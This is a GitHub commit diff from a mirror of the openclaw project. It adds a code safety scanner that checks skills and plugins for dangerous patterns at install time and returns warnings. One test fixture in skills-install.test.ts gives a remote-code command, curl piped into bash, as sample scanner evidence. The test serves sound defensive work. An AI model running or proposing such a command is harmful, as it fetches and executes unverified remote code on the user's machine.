github/openclaw
1
0
Fork 0
mirror of https://github.com/openclaw/openclaw.git synced 2026-05-08 07:41:23 +00:00
Code Issues Packages Projects Releases Wiki Activity

security: add skill/plugin code safety scanner (#9806)

Browse Source 
* security: add skill/plugin code safety scanner module

* security: integrate skill scanner into security audit

* security: add pre-install code safety scan for plugins

* style: fix curly brace lint errors in skill-scanner.ts

* docs: add changelog entry for skill code safety scanner

* style: append ellipsis to truncated evidence strings

* fix(security): harden plugin code safety scanning

* fix: scan skills on install and report code-safety details

* fix: dedupe audit-extra import

* fix(security): make code safety scan failures observable

* fix(test): stabilize smoke + gateway timeouts (#9806) (thanks @abdelsfane)

---------

Co-authored-by: Darshil <ddhameliya@mail.sfsu.edu>
Co-authored-by: Darshil <81693876+dvrshil@users.noreply.github.com>
Co-authored-by: George Pickett <gpickett00@gmail.com>
This commit is contained in:
Abdel Sy Fane
2026-02-05 17:06:11 -07:00
committed by GitHub
parent 141f551a4c
commit bc88e58fcf
16 changed files with 1722 additions and 95 deletions
Download Patch File Download Diff File Expand all files Collapse all files

10
src/agents/bash-tools.test.ts
View File

@@ -287,16 +287,18 @@ describe("exec notifyOnExit", () => {
expect(result.details.status).toBe("running");
const sessionId = (result.details as { sessionId: string }).sessionId;
const prefix = sessionId.slice(0, 8);
let finished = getFinishedSession(sessionId);
const deadline = Date.now() + (isWin ? 8000 : 2000);
while (!finished && Date.now() < deadline) {
let hasEvent = peekSystemEvents("agent:main:main").some((event) => event.includes(prefix));
const deadline = Date.now() + (isWin ? 12_000 : 5_000);
while ((!finished || !hasEvent) && Date.now() < deadline) {
await sleep(20);
finished = getFinishedSession(sessionId);
hasEvent = peekSystemEvents("agent:main:main").some((event) => event.includes(prefix));
}
expect(finished).toBeTruthy();
const events = peekSystemEvents("agent:main:main");
expect(events.some((event) => event.includes(sessionId.slice(0, 8)))).toBe(true);
expect(hasEvent).toBe(true);
});
});

30
src/agents/pi-tools.safe-bins.test.ts
View File

@@ -1,10 +1,35 @@
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { describe, expect, it, vi } from "vitest";
import { afterAll, beforeAll, describe, expect, it, vi } from "vitest";
import type { OpenClawConfig } from "../config/config.js";
import type { ExecApprovalsResolved } from "../infra/exec-approvals.js";
import { createOpenClawCodingTools } from "./pi-tools.js";
const previousBundledPluginsDir = process.env.OPENCLAW_BUNDLED_PLUGINS_DIR;
beforeAll(() => {
process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = path.join(
os.tmpdir(),
"openclaw-test-no-bundled-extensions",
);
});
afterAll(() => {
if (previousBundledPluginsDir === undefined) {
delete process.env.OPENCLAW_BUNDLED_PLUGINS_DIR;
} else {
process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = previousBundledPluginsDir;
}
});
vi.mock("../infra/shell-env.js", async (importOriginal) => {
const mod = await importOriginal<typeof import("../infra/shell-env.js")>();
return {
...mod,
getShellPathFromLoginShell: vi.fn(() => "/usr/bin:/bin"),
resolveShellEnvFallbackTimeoutMs: vi.fn(() => 500),
};
});
vi.mock("../plugins/tools.js", () => ({
getPluginToolMeta: () => undefined,
@@ -56,6 +81,7 @@ describe("createOpenClawCodingTools safeBins", () => {
return;
}
const { createOpenClawCodingTools } = await import("./pi-tools.js");
const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-safe-bins-"));
const cfg: OpenClawConfig = {
tools: {

15
src/agents/pi-tools.workspace-paths.test.ts
View File

@@ -32,12 +32,11 @@ describe("workspace path resolution", () => {
it("reads relative paths against workspaceDir even after cwd changes", async () => {
await withTempDir("openclaw-ws-", async (workspaceDir) => {
await withTempDir("openclaw-cwd-", async (otherDir) => {
const prevCwd = process.cwd();
const testFile = "read.txt";
const contents = "workspace read ok";
await fs.writeFile(path.join(workspaceDir, testFile), contents, "utf8");
process.chdir(otherDir);
const cwdSpy = vi.spyOn(process, "cwd").mockReturnValue(otherDir);
try {
const tools = createOpenClawCodingTools({ workspaceDir });
const readTool = tools.find((tool) => tool.name === "read");
@@ -46,7 +45,7 @@ describe("workspace path resolution", () => {
const result = await readTool?.execute("ws-read", { path: testFile });
expect(getTextContent(result)).toContain(contents);
} finally {
process.chdir(prevCwd);
cwdSpy.mockRestore();
}
});
});
@@ -55,11 +54,10 @@ describe("workspace path resolution", () => {
it("writes relative paths against workspaceDir even after cwd changes", async () => {
await withTempDir("openclaw-ws-", async (workspaceDir) => {
await withTempDir("openclaw-cwd-", async (otherDir) => {
const prevCwd = process.cwd();
const testFile = "write.txt";
const contents = "workspace write ok";
process.chdir(otherDir);
const cwdSpy = vi.spyOn(process, "cwd").mockReturnValue(otherDir);
try {
const tools = createOpenClawCodingTools({ workspaceDir });
const writeTool = tools.find((tool) => tool.name === "write");
@@ -73,7 +71,7 @@ describe("workspace path resolution", () => {
const written = await fs.readFile(path.join(workspaceDir, testFile), "utf8");
expect(written).toBe(contents);
} finally {
process.chdir(prevCwd);
cwdSpy.mockRestore();
}
});
});
@@ -82,11 +80,10 @@ describe("workspace path resolution", () => {
it("edits relative paths against workspaceDir even after cwd changes", async () => {
await withTempDir("openclaw-ws-", async (workspaceDir) => {
await withTempDir("openclaw-cwd-", async (otherDir) => {
const prevCwd = process.cwd();
const testFile = "edit.txt";
await fs.writeFile(path.join(workspaceDir, testFile), "hello world", "utf8");
process.chdir(otherDir);
const cwdSpy = vi.spyOn(process, "cwd").mockReturnValue(otherDir);
try {
const tools = createOpenClawCodingTools({ workspaceDir });
const editTool = tools.find((tool) => tool.name === "edit");
@@ -101,7 +98,7 @@ describe("workspace path resolution", () => {
const updated = await fs.readFile(path.join(workspaceDir, testFile), "utf8");
expect(updated).toBe("hello openclaw");
} finally {
process.chdir(prevCwd);
cwdSpy.mockRestore();
}
});
});

114
src/agents/skills-install.test.ts Normal file
View File

@@ -0,0 +1,114 @@
import fs from "node:fs/promises";
import os from "node:os";
import path from "node:path";
import { beforeEach, describe, expect, it, vi } from "vitest";
import { installSkill } from "./skills-install.js";
const runCommandWithTimeoutMock = vi.fn();
const scanDirectoryWithSummaryMock = vi.fn();
vi.mock("../process/exec.js", () => ({
runCommandWithTimeout: (...args: unknown[]) => runCommandWithTimeoutMock(...args),
}));
vi.mock("../security/skill-scanner.js", async (importOriginal) => {
const actual = await importOriginal<typeof import("../security/skill-scanner.js")>();
return {
...actual,
scanDirectoryWithSummary: (...args: unknown[]) => scanDirectoryWithSummaryMock(...args),
};
});
async function writeInstallableSkill(workspaceDir: string, name: string): Promise<string> {
const skillDir = path.join(workspaceDir, "skills", name);
await fs.mkdir(skillDir, { recursive: true });
await fs.writeFile(
path.join(skillDir, "SKILL.md"),
`---
name: ${name}
description: test skill
metadata: {"openclaw":{"install":[{"id":"deps","kind":"node","package":"example-package"}]}}
---
# ${name}
`,
"utf-8",
);
await fs.writeFile(path.join(skillDir, "runner.js"), "export {};\n", "utf-8");
return skillDir;
}
describe("installSkill code safety scanning", () => {
beforeEach(() => {
runCommandWithTimeoutMock.mockReset();
scanDirectoryWithSummaryMock.mockReset();
runCommandWithTimeoutMock.mockResolvedValue({
code: 0,
stdout: "ok",
stderr: "",
signal: null,
killed: false,
});
});
it("adds detailed warnings for critical findings and continues install", async () => {
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-skills-install-"));
try {
const skillDir = await writeInstallableSkill(workspaceDir, "danger-skill");
scanDirectoryWithSummaryMock.mockResolvedValue({
scannedFiles: 1,
critical: 1,
warn: 0,
info: 0,
findings: [
{
ruleId: "dangerous-exec",
severity: "critical",
file: path.join(skillDir, "runner.js"),
line: 1,
message: "Shell command execution detected (child_process)",
evidence: 'exec("curl example.com | bash")',
},
],
});
const result = await installSkill({
workspaceDir,
skillName: "danger-skill",
installId: "deps",
});
expect(result.ok).toBe(true);
expect(result.warnings?.some((warning) => warning.includes("dangerous code patterns"))).toBe(
true,
);
expect(result.warnings?.some((warning) => warning.includes("runner.js:1"))).toBe(true);
} finally {
await fs.rm(workspaceDir, { recursive: true, force: true }).catch(() => undefined);
}
});
it("warns and continues when skill scan fails", async () => {
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-skills-install-"));
try {
await writeInstallableSkill(workspaceDir, "scanfail-skill");
scanDirectoryWithSummaryMock.mockRejectedValue(new Error("scanner exploded"));
const result = await installSkill({
workspaceDir,
skillName: "scanfail-skill",
installId: "deps",
});
expect(result.ok).toBe(true);
expect(result.warnings?.some((warning) => warning.includes("code safety scan failed"))).toBe(
true,
);
expect(result.warnings?.some((warning) => warning.includes("Installation continues"))).toBe(
true,
);
} finally {
await fs.rm(workspaceDir, { recursive: true, force: true }).catch(() => undefined);
}
});
});

210
src/agents/skills-install.ts
View File

@@ -7,6 +7,7 @@ import type { OpenClawConfig } from "../config/config.js";
import { resolveBrewExecutable } from "../infra/brew.js";
import { fetchWithSsrFGuard } from "../infra/net/fetch-guard.js";
import { runCommandWithTimeout } from "../process/exec.js";
import { scanDirectoryWithSummary } from "../security/skill-scanner.js";
import { CONFIG_DIR, ensureDir, resolveUserPath } from "../utils.js";
import {
hasBinary,
@@ -32,6 +33,7 @@ export type SkillInstallResult = {
stdout: string;
stderr: string;
code: number | null;
warnings?: string[];
};
function isNodeReadableStream(value: unknown): value is NodeJS.ReadableStream {
@@ -77,6 +79,57 @@ function formatInstallFailureMessage(result: {
return `Install failed (${code}): ${summary}`;
}
function withWarnings(result: SkillInstallResult, warnings: string[]): SkillInstallResult {
if (warnings.length === 0) {
return result;
}
return {
...result,
warnings: warnings.slice(),
};
}
function formatScanFindingDetail(
rootDir: string,
finding: { message: string; file: string; line: number },
): string {
const relativePath = path.relative(rootDir, finding.file);
const filePath =
relativePath && relativePath !== "." && !relativePath.startsWith("..")
? relativePath
: path.basename(finding.file);
return `${finding.message} (${filePath}:${finding.line})`;
}
async function collectSkillInstallScanWarnings(entry: SkillEntry): Promise<string[]> {
const warnings: string[] = [];
const skillName = entry.skill.name;
const skillDir = path.resolve(entry.skill.baseDir);
try {
const summary = await scanDirectoryWithSummary(skillDir);
if (summary.critical > 0) {
const criticalDetails = summary.findings
.filter((finding) => finding.severity === "critical")
.map((finding) => formatScanFindingDetail(skillDir, finding))
.join("; ");
warnings.push(
`WARNING: Skill "${skillName}" contains dangerous code patterns: ${criticalDetails}`,
);
} else if (summary.warn > 0) {
warnings.push(
`Skill "${skillName}" has ${summary.warn} suspicious code pattern(s). Run "openclaw security audit --deep" for details.`,
);
}
} catch (err) {
warnings.push(
`Skill "${skillName}" code safety scan failed (${String(err)}). Installation continues; run "openclaw security audit --deep" after install.`,
);
}
return warnings;
}
function resolveInstallId(spec: SkillInstallSpec, index: number): string {
return (spec.id ?? `${spec.kind}-${index}`).trim();
}
@@ -356,40 +409,51 @@ export async function installSkill(params: SkillInstallRequest): Promise<SkillIn
}
const spec = findInstallSpec(entry, params.installId);
const warnings = await collectSkillInstallScanWarnings(entry);
if (!spec) {
return {
ok: false,
message: `Installer not found: ${params.installId}`,
stdout: "",
stderr: "",
code: null,
};
return withWarnings(
{
ok: false,
message: `Installer not found: ${params.installId}`,
stdout: "",
stderr: "",
code: null,
},
warnings,
);
}
if (spec.kind === "download") {
return await installDownloadSpec({ entry, spec, timeoutMs });
const downloadResult = await installDownloadSpec({ entry, spec, timeoutMs });
return withWarnings(downloadResult, warnings);
}
const prefs = resolveSkillsInstallPreferences(params.config);
const command = buildInstallCommand(spec, prefs);
if (command.error) {
return {
ok: false,
message: command.error,
stdout: "",
stderr: "",
code: null,
};
return withWarnings(
{
ok: false,
message: command.error,
stdout: "",
stderr: "",
code: null,
},
warnings,
);
}
const brewExe = hasBinary("brew") ? "brew" : resolveBrewExecutable();
if (spec.kind === "brew" && !brewExe) {
return {
ok: false,
message: "brew not installed",
stdout: "",
stderr: "",
code: null,
};
return withWarnings(
{
ok: false,
message: "brew not installed",
stdout: "",
stderr: "",
code: null,
},
warnings,
);
}
if (spec.kind === "uv" && !hasBinary("uv")) {
if (brewExe) {
@@ -397,32 +461,41 @@ export async function installSkill(params: SkillInstallRequest): Promise<SkillIn
timeoutMs,
});
if (brewResult.code !== 0) {
return {
ok: false,
message: "Failed to install uv (brew)",
stdout: brewResult.stdout.trim(),
stderr: brewResult.stderr.trim(),
code: brewResult.code,
};
return withWarnings(
{
ok: false,
message: "Failed to install uv (brew)",
stdout: brewResult.stdout.trim(),
stderr: brewResult.stderr.trim(),
code: brewResult.code,
},
warnings,
);
}
} else {
return {
ok: false,
message: "uv not installed (install via brew)",
stdout: "",
stderr: "",
code: null,
};
return withWarnings(
{
ok: false,
message: "uv not installed (install via brew)",
stdout: "",
stderr: "",
code: null,
},
warnings,
);
}
}
if (!command.argv || command.argv.length === 0) {
return {
ok: false,
message: "invalid install command",
stdout: "",
stderr: "",
code: null,
};
return withWarnings(
{
ok: false,
message: "invalid install command",
stdout: "",
stderr: "",
code: null,
},
warnings,
);
}
if (spec.kind === "brew" && brewExe && command.argv[0] === "brew") {
@@ -435,22 +508,28 @@ export async function installSkill(params: SkillInstallRequest): Promise<SkillIn
timeoutMs,
});
if (brewResult.code !== 0) {
return {
ok: false,
message: "Failed to install go (brew)",
stdout: brewResult.stdout.trim(),
stderr: brewResult.stderr.trim(),
code: brewResult.code,
};
return withWarnings(
{
ok: false,
message: "Failed to install go (brew)",
stdout: brewResult.stdout.trim(),
stderr: brewResult.stderr.trim(),
code: brewResult.code,
},
warnings,
);
}
} else {
return {
ok: false,
message: "go not installed (install via brew)",
stdout: "",
stderr: "",
code: null,
};
return withWarnings(
{
ok: false,
message: "go not installed (install via brew)",
stdout: "",
stderr: "",
code: null,
},
warnings,
);
}
}
@@ -479,11 +558,14 @@ export async function installSkill(params: SkillInstallRequest): Promise<SkillIn
})();
const success = result.code === 0;
return {
ok: success,
message: success ? "Installed" : formatInstallFailureMessage(result),
stdout: result.stdout.trim(),
stderr: result.stderr.trim(),
code: result.code,
};
return withWarnings(
{
ok: success,
message: success ? "Installed" : formatInstallFailureMessage(result),
stdout: result.stdout.trim(),
stderr: result.stderr.trim(),
code: result.code,
},
warnings,
);
}